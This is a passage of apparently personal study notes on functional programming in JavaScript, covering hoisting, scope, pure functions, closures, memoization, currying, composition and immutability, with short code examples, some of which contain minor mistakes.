function expressions are NOT hoisted with contents, but the reference to it may be hoisted if we assign it as a variable and you can use it everywhere a variable can go. Note that because of an issue with hoisting, if you invoke a function expression before the function itself, you will get an error. Also note that since a function expression is a variable (or if it is a const), we need to terminate the function with a semi-colon. ```JavaScript let addExpression = function(num1, num2) { return num1 + num2; }; ``` And of course, this use ES6 syntax with the fat arrow function: ```JavaScript let addExpression = (num1, num2) => num1 + num2; ``` Function expressions can also be called through other variables: ```JavaScript let addExpression = function(num1, num2) { return num1 + num2; }; let addThisUp = addExpression; // variable called through another variable. ``` <br> ## Immediately invoked function expressions are invoked automatically. An **Immediately invoked function expression** (or IIFE) is imvoked automatically on load. IIFE's do NOT have names since they run at start. Additionally, variables declared inside the function body will NOT be know outside an an IIFE. ```JavaScript (function(message) { console.log(message) })("This is an immediately invoked function expression"); ``` </dd> </dl> <br> <br> <br> <br> # What is hoisting, scope, and scope chain? <dl> <dd> ## Hoisting refers to how browsers parse JavaScript. ***Hoisting*** is the process of moving the FUNCTION DECLARATIONS to the top of the file automatically. On the first pass, the browser reads through the code once, setting aside space for variables, functions, etc. On the second pass, the browser reads through AGAIN and executes the code. With hoisting, we can call a FUNCTION before it has been defined. However, you CANNOT call a function that is defined using FUNCTION EXPRESSION syntax. This is because when the JavaScript engine executes the code, it moves all the function DECLARATIONS to the top. When all the function declarations are 'HOISTED' to the top, we get the term 'hoisting'. <br> ## Scope refers to the accessibility of variables in your code. ***Scope*** defines how declared variables and functions CAN or CANNOT be accessed at different places in your code. With **Global scope**, the function or variable is available EVERYWHERE in the code. With **Block (local) scope**, a variable is only available within the confines of the function. On the subject of global scope are some of the **negative attributes of global variables.** For example, GLOBALS tend to have unintended SIDE EFFECTS. SIDE EFFECTS occur when a local scope variable reaches into global and changes a value there. Side Effects are UNINTENDED since it can change an outside variable to carry out its instructions. And as you now know from the defintion of a function, when this happens, a code is INDETERMINATE. A function should be DETERMINATE, meaning that it should always return the same value and have NO side effects. A function that is determinate is a PURE function. <br> ## Scope chain looks up to the global scope. ***Scope chain*** refers to the way the JavaScript interpreter determines the value of a variable. First, the interpreter looks locally for the variable. However, if it is not there, then the interpreter will look up the *scope chain* until it reaches *global scope*. One important concept in relation to scope chain is **variable shadowing** which means that if there is a global AND block scope variable, the local block variable will take precedence. </dd> </dl> <br> <br> <br> <br> # What are side effects? <dl> <dd> ## A side effect is the undesired result of indirect inputs/outputs of a function. For example, take a look at the procedure below. While this bit of code technically will work, this is NOT a function because while there a relationship between the inputs and the outputs, the inputs and the outputs are INDIRECT so it is not a true function even thought there is a semantic relationship between the variables used in the function and the stated variables outside that function. Note that there are NO parameters listed and there is NO return keyword. Simply put, while this does work, there is a lack of security and proveability that makes this a true function. ```JavaScript function add() { // impure function with no parameters passed in. total = num1 + num2; // ... and outside variables are still referenced. } let total; let num1 = 2; // Indirect variables. let num2 = 3; add() total; console.log(total); // 5 ``` <br> ## Direct inputs and outputs avoid side effects. To make the example above a TRUE function, you need to pass in the inputs (i.e. num1 and num2) and return an output (num1 + num2). When you call the function and assign some arguments that correspond to the parameters of the function, it is DIRECT input semantically tied to DIRECT output. This is a true function. And perhaps the most important part of this is that the function call to get the reliable and predictable result. ```JavaScript function add(num1, num2) { // Direct input. return num1 + num2; // Direct output. } console.log(add(2, 3)); // 5 from a viable function call. ``` </dd> </dl> <br> <br> <br> <br> # What is a pure function? <dl> <dd> ## A pure function is a determinate function. A pure function is a determinate function that always returns the same value with no side effects. For example, if a function relies on a variable outside itself, it can *mostly* be considered an *impure* function because that variable is subject to change. ```JavaScript function add(num1, num2) { // example of a pure function return num1 + num2; } console.log(add(1,2)); // 3 ``` <br> ## A pure function, when given the same input, will have the same output. A pure function call MUST be predicatable and reliable. In other words, when you give a pure function a given input it will ALWAYS return a given output. So if you have a function that uses something that can be mutated outside the function, then that would NOT be reliable. ```JavaScript function generateId() { const id = Math.random(); return id; } console.log(generateId()); // output will not be predictable ``` <br> ## A function that references an outer const could be considered pure. Now, you could argue that referencing a ```const``` variable outside a function makes the function itself impure, you could also argue that since it is a *constant* it has a level of permanance to validate a function that uses it as a pure function. ```JavaScript const outerNum = 3; // constant variable function add(num1, num2) { // arguably, this is a "pure" function return num1 + num2 + outerNum; // because "outerNum" is a constant. } console.log(add(1,2)); // 6 ``` <br> ## Readability and surface area can contribute to a "pure" function. Some pure functions can arguably remain "pure" depending on the amount of surface area the function has and the readability of the code itself. For example, you could have a nested function within a function and have that nested function reference an input outside of itself. However, that outer referenced variable when added to the arguments of a call can reduce the "surface area" so that the code is readable and obvious to the reader. ```JavaScript function addMore(num1) { // num1 passes in OUTSIDE inner function. return function add(num2, num3) { return num1 + num2 + num3; // num1 used INSIDE the inner function. }; } console.log(addMore(1)(2,3)); // 6 ``` <br> ## Functional purity depends on your level of confidence. In the end, you for a function to be pure depends on how confident you are that the input for your function will match the output in a predictable way. If you determine that the probablity is high that the resutl will be predictable, then you can most likely label it a pure function. Functional programming requires you to make sure that you have a higher (rather than lower) degree of confidence in the results of your function calls. <br> ## If functional impurities are unavoidable, extract them. There may be cases where an impure function is unavoidable. In these cases you would want to make sure that they are extracted outside so that you can at least have a smaller (yet predictable) pure function. It should be noted that in most cases, when you need to do this you do not get rid of the impurity but you "extract" it to the outer layers so the side effects are isolated to the outer shell of your code. For example, in the function below we want to create a new product. However, there is an "impure" part of this function named ```uniqueId```. The ```uniqueId``` property is "impure" because it can change based on the product. In other words, the result of this ```newProduct``` function is not predictable. ```JavaScript function newProduct(productId, comment) { let product = { id: uniqueId(), // id is the impurity bc uniqueId changes per product. text: comment } } ``` To make the function a little bit purer (i.e. more predictable), we need to "extract" that part of the function to the outer parts of our code. When you do this, you increase the level of confidence in the ```newProduct``` function and, should there be any errors or side effects, we know that we can look first at the outer shell first for bugs. ```JavaScript function newProduct(productId, comment) { let product = { id: productId(), // text: comment } } let productId = uniqueId(); // the uniqueId part is "extracted". ``` <br> ## Contain function impurities by WRAPPING a function around it. In the event that you identify an impurity in your code, you can contain the impurity such that it does not effect other parts of your application. One way to contain functional impurities is to *contain* the impurity by ***wrapping*** a function around it. In this way, you can contain the effects to a single function call. In the example below we have an array of books on cars. The current function we have will modify the books array by sorting alphabetically by title. However, **this is an impure function because ```sortBooksByName``` modifies the ```books``` variable which is outside itself.** In other words, we want a way to contain the modifications to the function itself so that we DO NOT modify the orginal ```books``` array. ```JavaScript let books = [ // original variable { id: 1, title: "Fixing Old Cars"}, { id: 2, title: "Selling New SUVs"}, { id: 3, title: "Buying New Sports Cars"}, ]; function sortBooksByName() { // sorts books by name books.sort(function byTitle( title1, title2) { if (title1.title < title2.title) { return -1; } else if (title1.title > title2.title) { return 1; } }); return books; } console.log(sortBooksByName()); /* [ { id: 3, title: 'Buying New Sports Cars' }, { id: 1, title: 'Fixing Old Cars' }, { id: 2, title: 'Selling New SUVs' } ] */ ``` <dl> <dd> <dl> <dd> <dl> <dd> ------ ### First, wrap your existing impure function in a pure function. ------ Since we already have ```sortBooksByName```, we "wrap" another function around it and contain the impurity. To do this, we first need to wrap another function called ```getBooksByName``` around ```sortBooksByName``` and pass in ```books``` as a parameters. By doing this, we contain the impurity so it does not leak out into the rest of the scope. ```JavaScript function getBooksByName(books) { // wrapper function. function sortBooksByName() { books.sort(function byTitle( title1, title2) { if (title1.title < title2.title) { return -1; } else if (title1.title > title2.title) { return 1; } }); return books; } } ``` ------ ### Second, make a local copy of your variable ------ Since the objective here is to preserve the integrity of the outer variable (i.e. ```books```), what we want to do is create a copy and store it locally so that we keep the impurity within the wrapped function. And when we call the wrapped function ```sortBooksByName```, which although producing a side effect will only do so to the local copy and not the outer variable. ```JavaScript function getBooksByName(books) { books = books.slice(); // local copy of "books". return sortBooksByName(); // call sortsBookByName. function sortBooksByName() { books.sort(function byTitle( title1, title2) { if (title1.title < title2.title) { return -1; } else if (title1.title > title2.title) { return 1; } }); return books; } } // Output of wrapped function: console.log(getBooksByName(books)); /* [ { id: 3, title: 'Buying New Sports Cars' }, { id: 1, title: 'Fixing Old Cars' }, { id: 2, title: 'Selling New SUVs' } ] */ // Output of global variable: console.log(books); /* [ { id: 1, title: 'Fixing Old Cars' }, { id: 2, title: 'Selling New SUVs' }, { id: 3, title: 'Buying New Sports Cars' } ]*/ ``` </dd> </dl> </dd> </dl> </dd> </dl> <br> ## Or use an adapter to modify the orginal and reset back again. When you use an adapter, you are effectively using a brute force method to maintain function purity. In the example below, we first create copies of the original books variable from outside the function and the local copy of books for inside our adapter. Then, we run the ```sortBooksByName``` so we can finally get the newly ordered book list. Then, we restore the original order back to the original outside ```books``` variable. And last, we can now return ```newBooks```. ```JavaScript function getBooksByName() { let originalBooks = books.slice(); // create a backup copy of the books array. books = originalBooks.slice(); // create a backup copy of the initial state of books. let newBooks = sortBooksByName(); // newly modified and ordered books. books = orginalBooks; // Then restore the original book order. return newBooks; // and lastly, return the newBooks which was reordered. } ``` </dl> </dd> <br> <br> <br> <br> # What are arguments? <dl> <dd> ## An argument is value passed as a parameter to a function. To reiterate what was briefly touched on in "How a function works", an ***argument*** is a value that is passed into a function defintiion's *parameters*. ```JavaScript function add(num1, num2) { // 2 and 3 are passed into the call signature as PARAMETERS return num1 + num2; } add(2,3); // 2 and 3 are the ARGUMENTS. ``` <br> ## Function programming mostly involve unary and binary inputs. The shape of a function is defined by the number and kinds of things passed into and the number and kinds of thingsthat come out of it. In the case of functional programming, most would prefer to use a *unary* function that uses only a single input and then *binary* inputs that use only two inputs. Why? Simply put, the more inputs you have with a function, the harder it is to have them work with other functions. A ***unary function*** takes a **single value** in and a **single value out**. ```JavaScript function add(num1) { // This is a unary function (single input). return 5 + num1; } ``` A ***binary function*** takes **two values** in and a **single value out**. ```JavaScript function add(num1, num2) { // This is a binary function (two inputs). return num1 + num2; } ``` A ***n-ary function*** takes more than two inputs. ```JavaScript function add(num1, num2, num3, num4) { // This is a n-ary function (more than 2). return num1 + num2 + num3 + num4; } ``` </dl> </dd> <br> <br> <br> <br> # What is a high-order function? <dl> <dd> ## Adapters "adapt" the shape of a function. Since JavaScript functions are *variadic*, meaning that no matter how many parameters you declare, you can pass as many or as few as you want, you can **adapt the shape** of a function. In otherwords, you have two pieces that do not fit and you need an adapter to make them fit. To make an adapter, you can use a *high-order function* to wrap around your adapter. For example, if you invoke a function with 3 arguments but the function is binary (meaning, it takes in two values), the orginal function invocation is *n-ary* and was reduced to *binary* thus changing it's *shape*. In the example below, we use the high-order function ```singleOutput``` to wrap around our adapter function ```one```: ```JavaScript function singleInput(fn) { // high-order function return function one(arg) { // adapter return fn(arg); }; } function multipleInputs(...args) { return args; } let testAdapter = singleInput(multipleInputs); console.log(testAdapter(1,2,3,4)); ``` <br> ## "High-order" function utilities return adapter functions. A ***high-order function*** is a function that recieves inputs of one or more functions and/or returns one or more functions. Basically, a high order function is the "wrapper" of another function which is returned. In contrast to a high-order function, a *single order function* does NOT receive or return a function. Note that the function returned from the high-order function (i.e. ```singleInput```) has a **single** variable. The high-order function adapts the n-ary function to fint a unary high-order function. ```JavaScript function singleInput(fn) { // "singleInput" is a high-order function... return function one(arg) { // that adapts another function (i.e. "one")... return fn(arg); // with the result. }; } ``` ## Adapter functions can perform shape adaptations. For example, suppose you have a function needs to "flip" the order of arguments so that you can pass the arguments as parameters in a different order. In order to create this new shape adaptation that "flips" the order of the arguments, you can create a ***flip*** adapter. ```JavaScript function flip(fn) { // flip high-order function return function flipped(arg1, arg2, ...args) { // adapter function takes the collective arguments. return fn(arg2, arg1,...args); // and flips the first two. }; } function f(...args) { // function with collective arguments return args; } let flipThis = flip(f); console.log(flipThis(1,2,3,4)); // [ 2, 1, 3, 4 ] ``` The example below reverses the entire input: ```JavaScript function reverseArguments(fn) { // reverse high-order function return function flipped(arg1, arg2, ...args) { // adapter function takes the collective arguments. return fn(...args.reverse()); // and flips all the arguments. }; } function f(...args) { // function with collective arguments return args; } let flipThis = flip(f); console.log(flipThis(1,2,3,4)); // [ 4, 3, 2, 1 ] ``` ## However, use adaptors sparingly since they are less familiar. Although adapters can be execeptionally useful in your code, the problem is that if someone comes by later and reviews your code and they dont recognize or understand it, it can make the point of functional programming less impactful. </dl> </dd> <br> <br> <br> <br> # What is point-free and equational reasoning? <dl> <dd> ## Equational reasoning is used to define a function point-free. **Equational reasoning** means (within the context of functional programming) that if you have two things (i.e. functions, etc.) and they both have the same *shape*, then they are *interchangable*. In the example below, we have a function ```onCar``` that has the same shape (i.e. the functions are similar with the same parameter) to ```renderCar```. Since ```onCar``` is *equationally* (equivalent) to ```renderCar```, if you use ```renderCar``` as the argument with```getCar```, because the parameter is the same you can define the function ```getCar```, it is **point-free**, which means you can define a function *without* defining its points (i.e. inputs). ```JavaScript getCar(function onCar(car) { // "onCar" is equational to... return renderCar(car); // ... "renderCar" bc of shape and parameter. }); getCar(renderCar); // so we can call getCar with renderCar "point-free". ``` <br> ## Equational reasoning creates visible relationships In the example below, ```isEven``` is defined in terms of the ```isOdd``` function. Although you could just do the same code for isEven as you did with isOdd, but the befint of this is that you are creating a visible relationshop. This is not completely necessary, but in terms of functional programming could help your reader out. ```JavaScript function isOdd(num) { return num % 2 === 0; } function isEven(num) { return !isOdd(num) // isEven is the negation of isOdd. } console.log(isEven(8)); // true ``` </dd> </dl> <br> <br> <br> <br> # What is closure? <dl> <dd> ## Closure is when you close over a variable that is around it. Closure is when a function remembers the variables around it even when that function is executed elsewhere. For example, if you have a variable within a function and a function inside the function that uses that that variable, the inner function is "closing" around that variable. In the example below, we have a function called ```counter``` with a ```count``` variable and a ```increment``` function that increments by one. When you call ```doCount``` the ```counter``` function runs and increments by one. For every successive time you call the ```counter``` function, the value will increment by one. So where is **closure** in this example? The inner function ```increment``` is "closed" around the ```count``` variable OUTSIDE the function. When you run ```doCount```, the increment is still remembered and updated. However, it is important to note that in terms of functional programming, this is NOT a pure function as the function does NOT return the same value everytime we call it. ```JavaScript function counter() { let count = 0; return function increment() { // "increment" closes around the count variable. return ++count; }; } let doCount = counter(); console.log(doCount()); // 1 console.log(doCount()); // 2 console.log(doCount()); // 3 ``` <br> ## Closure must be over non-changing values. Closure is not exactly functionally pure. If you want to use closure in functional programming and keep the function pure, it must be over non-changing values. Otherwise you will get a class of bug that may work in many cases but will have issues at some point. In the example below, we have an example of closure with a pure function. The function ```addAnotherNum``` has the parameter "c". This parameter is passed into the inner ```addTwoNums``` function from outer scope. The ```addTwoNums``` function is closed over the variable "c" and this is why it is able to use that variable. In terms of functional programming, it is "safe" functionally because the variable does not change... it is a memory of thing that does not get modified. ```JavaScript function addAnotherNum(c) { return function addTwoNums(a,b) { return a + b + c; // addTwoNums is closed around the "c" variable. }; } ``` </dd> </dl> <br> <br> <br> <br> # What is lazy and eager execution? <dl> <dd> ## Lazy execution defers work until called. **Lazy (i.e. deferred) execution is when you defer some work by putting it into a function and deferring it until the function is called.** In other words, you choose to put the code somewhere where it is executed *lazily* later. In the example below, when you call ```blockItOut```, you will call the ```repeater``` with a value of 8 resulting in 8 hashtags. The ```repeater``` function gives back a function called ```addBlock``` that is *closed* around the variable ```count```. The variable ```blockItOut``` is declared with the amount to block out (i.e. 8) and when you call it, you will always get 8 hashtags (i.e. ########). What is important to consider with this example is *when* the work in this code happened. In the example below, the work is done inside ```addBlock``` which means that the work is done when you call the high-order function rather than inside the variable ```blockItOut```. **Why would you want to defer the work?** If some work is computationally heavy and you were not sure the work didnt need to be called all the time, you would save on work that would otherwise be wasted. By adding an additional layer of function wrapping, work will only occur when the inner ```addBlock``` function is called. So you would want to do this if you have a function that was only occasionally called because you would have to call it every single time. ```JavaScript function repeater(count) { return function addBlock() { // "addBlock" is deferred. return "".padStart(count, "#"); } } let blockItOut = repeater(8); console.log(blockItOut()); // ######## console.log(blockItOut()); // ######## (second time same) console.log(blockItOut()); // ######## (third time same) ``` <br> ## Eager execution executes once when called. With eager execution, instead of work occuring when the function is called, the work occurs when the ```blockItOut``` function is called. The reason is because the variable ```str``` is declared outside the closure of the inner function. As opposed to lazy execution, the work is only done once. However, if ```blockItOut``` isnt called, work is done unnecessarily. Also note that unlike in lazy execution where the it was ```count``` that was closed over, in this case it is ```str``` and the place that we put that code is why it is eager (i.e. outside the inner function). ```JavaScript function repeater(count) { let str = "".padStart(count, "#"); return function addBlock() { return str; } } let blockItOut = repeater(8); console.log(blockItOut()); // ######## console.log(blockItOut()); // ######## (second time same) console.log(blockItOut()); // ######## (third time same) ``` </dd> </dl> <br> <br> <br> <br> # What is memoization? <dl> <dd> ## Memoization contains the cache side effects of an inner function. In other words, memoization is the caching of results so they cannot be observed by any other part of the program. The benefits of memoization is that work is deferred and then once done, it is cached for future use. The cost of memoization is that it takes up internal cache, so it takes up additional memory and for this reason you shouldnt use it for every function you make. If you expect for a function to be called multiple times with the same input, then you should use memoization. You need to be able to predict the expected use cases before you implement memoization In the example below, we have a lazy execution and it is stored in cache. The function ```hashTagIt``` is closed over a variable that is changing, specifically ```str```. Although this seems like it is an impure function because the variable ```str``` can be changed, given the same input (i.e. 10), it does return the same output (i.e. ##########). ```JavaScript function repeat(count) { let str; // variable "str" is undefined by default. return function hashTagIt() { // When invoked, "hashTagIt" (w/ closed around str). if (str == undefined) { // check to see if str is undefined (will only be once). str = "".padStart(count, "#"); // if it is, pad with hashtags... } return str; // and return str. }; } let blockedOut = repeat(10); console.log(blockedOut()); // ########## console.log(blockedOut()); // ########## ``` ## You can also use a memoization utility to do the same thing. There are special functional utility libraries that exist that can do the same thing as what was done above that computes an output for an input once and then cache that information. Then, when you need to get the information, you can return it easily. To do this, you woudl simply wrap the inner function in a "memoize" or "memo" method. </dd> </dl> <br> <br> <br> <br> # What is referential transparency? <dl> <dd> **Referential transparency means a function can be replaced with its return value and not effect any part of the program.** A function is pure if it has referential transparency. Laguages like Haskel, referential is a key part of the langauge which the compiler can take advantage of. Thus, Haskel can memoize eveyrthing because it can do it with no issue. But although Haskell can do that, JavaScript cannot. But that does not mean that referential transparency is only useful to languages that the complier can use. The benefit of referential transparency is to the benefit of the reader. Within the confines of JavaScript, referential transparency matters because it puts the responsibility on you, the author of the code,to make it as easy apossible for the reader of your code, to look at a line and know exactly what it is going to do so you dont have to do that work over again. This lends to the argument that function purity matters a great deal. </dd> </dl> <br> <br> <br> <br> # What is Partial Application? <dl> <dd> ## Partial application presets arguments for a function. **Partial application is presetting arguments.** A *partial application* specializes a generalized function by taking a function as its first input and then the next inputs are a set of pameters that will go along with that function at some point. This featre is included in most functional libraries. In the example below, ```getCustomer``` uses a partial application which specifies the function (ajax) and the ordered parameters (CUSTOMER_API). When you call getCustomer, you are effectively calling ajax and passing in the url and data parameters as CUSTOMER_API and the object. ```JavaScript function ajax(url, data, callback) {...}; let getCustomer = partial(ajax, CUSTOMER_API, {id:25}); ``` </dd> </dl> <br> <br> <br> <br> # What is Currying? <dl> <dd> ## Currying recieves each argument one at a time as a chained sequence. **Currying is a common form of specialization that specializes a general function.** Based on the functionality of Haskel and the fact that its functions are unary, currying enables you to pass along one input at a time. In the example below you will see a *manual, 3 level curry* function, we have a function called ```ajax``` that has 3 levels: an ajax level, a getData level, and a getCallBack level. ```JavaScript function ajax(url) { // level 1: ajax. return function getData(data) { // level 2: getData. return function getCallBack(callback) {...} // level 3: getCallBack. } } ``` When you call the ajax function, you call the function with 3 sets of parentheses. These parentheses are for the different levels of the function. So there are 3 functions nested and there are 3 function calls. ```JavaScript function ajax(url) { return function getData(data) { return function getCallBack(callback) {...} } } ajax(CUSTOMER_API) ({id:25}) (renderCustomer); // call ajax with a chained sequence manual curry. // | | | // | | | // level 1 level 2 level 3 ``` The benefit of currying is that when you do this, you can call the nested functions and save off the intermediate functions. ```JavaScript function ajax(url) { return function getData(data) { return function getCallBack(callback) {...} } } let getCustomer = ajax(CUSTOMER_API); // Will return the level 1 with CUSTOMER_API. let getCurrentUser = getCustomer({id:25}) // Will return the level 2 via getCustomer. ``` ## In JavaScript, you can make a utility to curry. For this utility, you simply need to call curry, pass in how many inputs you expect to receieve, and then provide the function. Note that the curry utility will automatically adapt the function into the multi-level function from above. This utility creates a adapeter function (i.e. wrapper) whose job it is to expect another input until you provide th especified number of inputs, and then calls the underlying function. ```JavaScript let ajax = curry( 3, function ajax(url, data, callback){...}; ); let getCustomer = ajax(CUSTOMER_API); // Will return the level 1 with CUSTOMER_API. let getCurrentUser = getCustomer({id:25}) // Will return the level 2 via getCustomer. ``` </dd> </dl> <br> <br> <br> <br> # What is composition? <dl> <dd> ## Composition takes the output of one function as the input of another. Composition is critical to understanding the output of one function becoming the input of another function. An important concept in composition is spotting when one function call produces an output that is then routed to another function call. Often, they will often placed in a variable and then the variable is passed. But you can also nest those calls together and make things a great deal more efficient. ## Abstraction takes two intertwined things and seperates them. In abstraction, you have two or more things in a peice of code that intertwince together. In the example, we first have the concept of caluclating a shippinf rate. Second, we're adding that shippng rate to the basePrice. Those are two seperate concerns but they are wrapped up together. So abstraction is to tease apart these two concepts that are intertwined together so that they are seperate and when they are seperated, you can create a semantic boundry that allows you not to hide but seperate them. In other words, you could look at the seperate parts and understand them better. ## Think of composition as an assembly line. Think of composition like an assembly line. Raw materials come in one end on the right and a finsihed product comes out on the left. So imagine you have a conveyer belt with those raw materials going through 3 machines, with each machine composing the product to different degrees of completion. Now suppose one day your boss came to you can said your competitors are making more of the product and faster than we are... can you figure out a way to compete. However, there is only so much room on your factory floor so you need to think of a way to fit more of thes emachines so you can make more of the product. In the example below, we have the INEFFICIENT production line to produce a product. We have the base price of 10. Then, there are three functions (i.e. the machines) that subtract, multiply, and increment by one which simulate the imporvements we make to the product. This example is inefficient because the temporary variable (tmp) take up space. ```JavaScript let baseProduct = 10; function minus2(x) { return x - 2; } function triple(x) { return x * 3; } function increment(x) { return x + 1; } let tmp = increment(4); console.log(tmp); // 5 tmp = triple(tmp); console.log(tmp); // 13 totalProduct = baseProduct + minus2(tmp); console.log(totalProduct ); // 23 ``` ## Make the assembly line more efficient with nested calls. To make the production line above more streamlined, a better way would be to removed the temporary variable and nest the function calls inside of another function call. In this streamlined production line, we first call ```increment``` with a value of 4, call ```triple```, and call ```minus2```. The temporary variables were removed, thus cleaning up the code. ```JavaScript let baseProduct = 10; function minus2(x) { return x - 2; } function triple(x) { return x * 3; } function increment(x) { return x + 1; } totalProduct = baseProduct + minus2(triple(increment(4))); console.log(totalProduct); // 23 ``` ## Abstract the processes to semantically seperate concerns. Now suppose that after the solution above is implementsed, your boss comes back and says that its difficult for workers to use. The boss asks if you can create a single machine that can do the the whole process. In the case of your machine, you have a place where you are making the product and adding that to the baseProduct. These two things are intertwined and need to be abstracted so that they can be reasoned about independently. ## Create an abstraction for the composition by wrapping it in a function. The solution is to write a function that makes the product (i.e. ```minus2(triple(increment(4)))```) and takes in the value 15. Then, when you add it to the baseProduct, you simply have to add the improveProduct function to it. **In effect, imporveProduct has semantically seperated the two concerns and made it much cleaner.** The improveProduct function is where we tell the supporting function how to improve the product and totalProduct is where we tell what to do with it... specifically adding it to the baseProduct. To further the analogy, what you are doing is wrapping a box around the entire production line (i.e. minus2, triple, increment) and creating an access point where you can get to each stage of the process. The machine does what it needs to do, but as the engineer you have create the *abstraction* on how the production is done. ```JavaScript let baseProduct = 10; function minus2(x) { return x - 2; } function triple(x) { return x * 3; } function increment(x) { return x + 1; } function improveProduct(x) { return minus2(triple(increment(x))); // 13 } totalProduct = baseProduct + improveProduct(4); console.log(totalProduct); // 23 ``` ## Create a utility to make the composition more versatile. Now suppose your boss asks that although the machine is good and it works well, other competitors are making machines that make machines! You can actually do this by making a utility that can take functions that are entirely different than the original machine to create a new one. In the example below, the utility take 3 functions and calls a new function that will call each of those function in succession, the out of one becomes the input of the next, etc, until the last output is finally returned. The composeThree utility is the higher-order utility that is a machine-making machine. You could take the composeThree utility and use it mulitple times in any different configuration you want, such as producing different products by passing event he same exiswting functions in a different order. ```JavaScript let baseProduct = 10; function minus2(x) { return x - 2; } function triple(x) { return x * 3; } function increment(x) { return x + 1; } function composeThree(fn3, fn2, fn1) { // composition utility return function composed(v) { return fn3(fn2(fn1(v))); } } let calculateProduct = composeThree(minus2, triple, increment); // Product 1 let calculateProduct2 = composeThree(increment, minus2, triple); // Product 2 totalProduct = baseProduct + calculateProduct(4); totalProduct2 = baseProduct + calculateProduct2(4); console.log(totalProduct); // 23 console.log(totalProduct2); // 21 ``` ## A composed function is all about data flow. Note that the return of the "composed" function is not only point free (i.e. it can be defined without defining its points/inputs). Note that the return is going to return in order from right to left. In so doing, composition is actually **declarative data flow**, which is the flow of data through a series of operations. Indeed, your program does not mean anything if it does not mean data flow... the whole point is that your program has data coming in, doing something, going back out. You should declare a programs data flow since a program is a series of state-transition-managed data flows. ## You can also "pipe" instead of compose. When you compose, you feed the functions *right-to-left* (i.e. third(second(first(x))). However, you can also pipe (i.e. first(second(third(x))). Which is best is up to you, however compose seesm to favored by functional programmers much more than piping. </dd> </dl> <br> <br> <br> <br> # What is associativity? <dl> <dd> ## Associativity means you can compose any way with the same result. Associativity is a mathematical concept where if you were given "1 + 2+ 3", the plus-sign is associative. Specificaly, the way that you group them in does NOT matter. For example, you could group "1 + 2" and add that to "3" and you would still have the same result. Composition is associative in the sense that if you have a list of functions that need to be composed, you could compose them in any grouping and you will still get the same end result. Event hought he way that you call them would look different, they would have the same result. This is very important because we can do currying and partial applications on compositions. Thus, you dont have to know about all the functions that participate in a composition all upfront, you can curry the composer utility and then take that result and compose it with something else later. ```JavaScript let baseProduct = 10; function minus2(x) { return x - 2; } function triple(x) { return x * 3; } function increment(x) { return x + 1; } function composeTwo(fn2, fn1) { // composition utility return function composed(v) { return fn2(fn1(v)); } } let product1 = composeTwo(composeTwo(minus2, triple), increment); // associative example 1 let product2 = composeTwo(minus2, composeTwo(triple, increment)); // associative example 2 console.log(product1(4)) // 13 - same result console.log(product2(4)) // 13 - same result ``` ## You can use a curry utlity to create a composition Suppose you have a number of functions that you want to compose but some of the functions have two inputs and some have one. This is a problem because only unary functions can take in one input and return one output. You can make the composeThree function a curry function and handle each of those functions independently and then curry them together. ```JavaScript function sum(x,y) { // binary function return x + y; } function triple(x) { // unary function return x * 3; } function divBy(y,x) { // binary funciton return x / y; } divBy(2, triple( sum(3,5))); // 12 sum = curry(2, sum); divBy = curry(2, divBy); composeThree( divBy(2), triple, sum(3) ) (5); // 12 ``` </dd> </dl> <br> <br> <br> <br> # What is immutability? <dl> <dd> Immutability is the idea that something isnt going to change unexpectedly. However, in terms of programming, its not that the program cant chnage (which would be silly) but that the chnage that occurs is intentional. In other words, its about controlling mutation. There are two types of immutability: Assignment immutability and value immutability. ## Assignment immutability means it cannot be assigned another value. Assignment immutability means that when you assign something to a variable or a property, it not allowed to be assigned to some other value. For example, if you have a variable with the keyword "let", you can see that when you *reassign* the value from 5 to 58, we are assigning that new value into the basePrice variable. This concept of reassignment is important because numbers and strings are inherently immutable, because you cant mutate the number 50... it will always be 50. Similarly, you cant mutate the string "Hello" since it will not be Hell anymore. However, when you do the same thing with a "const" variable, you will get an error because it cannot be reassinged... only set the first time. This also means that you cannot define a "const" without assigning a value because as the example has shown, you cannot reassign anything to it. And although a const is immutable, there are execptions. For example, when you use a const with a primitive like a number or a string, it cannot be reassigned or mutated. However, when you have a const with an array or an object or a function, there are ways you can mutate the variable. ```JavaScript let basePrice = 50; const shippingCost = 5; basePrice += 8; // allowed shippingCost += 2; // not allowed ``` ## Value immutability is a far more common problem in code. Many of the problems that are encountered in mutation come from a value being mutated in a way you dont expect. For example, you could have some global object with a thousand properties ascribed to it and some code somewhere changed two or three properties in a way you didnt expect. In the example below, the issue is that the processOrder call might contain a value bug that could throw off our entire code. ```JavaScript { const orderDetails = { orderId: 42, total: (basePrice + shipping) }; if (orderedItems.length > 0) { orderDetails.items = orderedItems; } processOrder(orderDetails); // we dont know what processOrder involves so a bug is possible. } ``` ## To avoid a value mutation, make the value read-only with Object.freeze. So in order to make a data strcuture that can be read but not written to, you need to call Object.freeze. When you use Object.freeze, you are telling the object (i.e. orderDetails) that you should all the properties to have the *read-only* attribute on them so that none of them can be changed. However, this is only a shallow implementation, which means that if you have nested objects you would have to freeze each of those levels. However, should you really care if you are making an object immutable. Not really, because the real intention of Object.freeze is to tell the *reader* that that object is immutable and move on. ```JavaScript { const orderDetails = { orderId: 42, total: (basePrice + shipping) }; if (orderedItems.length > 0) { orderDetails.items = orderedItems; } processOrder(Object.freeze(orderDetails)); // I know now that orderDetails is immutable. } ``` ## For read-only data structures, unintentional mutations can occur. Read-only data structures are data structures that NEVER need to be mutated. For example, if you have a API JSON response, that response is done and it does not need to be altered so that should be marked as read-only. In the example below, the order that is passed in is mutated by status, but this is done just for the database. ```JavaScript function processOrder(order) { if (!("status" in order)) { order.status = "complete"; // order is being changed but only makes sense for database. } saveToDatabase(order); } ``` ## MAKE A COPY of objects so that you can make changes to LOCAL copies. In order to avoid mutating order, you need to create a copy of the order object. Use the spread operator (...) to copy the object and then do what you want with that object. When you do this, you can mess with that copied object all you want and you will NOT create a side-effect on the outside program. This should be done when you write a function that recieves data structures since it should be treated as read-only no matter what. ```JavaScript function processOrder(order) { let processedOrder = {...order} // copy of the order object made for internal use. if (!("status" in order)) { processedOrder.status = "complete"; } saveToDatabase(processedOrder); } ``` ## IMMUTABLE data structures copy the original with the changes applied. If you have a data structure that DOES need to change, since there are at least going to be some data structures that need to change in some way. However, ther odd thing here is that when you need a mutable data structure, what you really need is an *immutable data structure*. An **immutable data structure** is a representation of the data structures we are used to dealing with, like arrays that can be accessed at index positions or objects that can be accessed at named property positions. An immutable data structure is one that allows *structured mutation*... structured, controlled mutation. It is the next level froma read-only. Ask yourself if the data structure is going to need to change in any way or form. If yes, then But what is important to think about here is that in these cases you have access to the superficial API, which creates a layer of 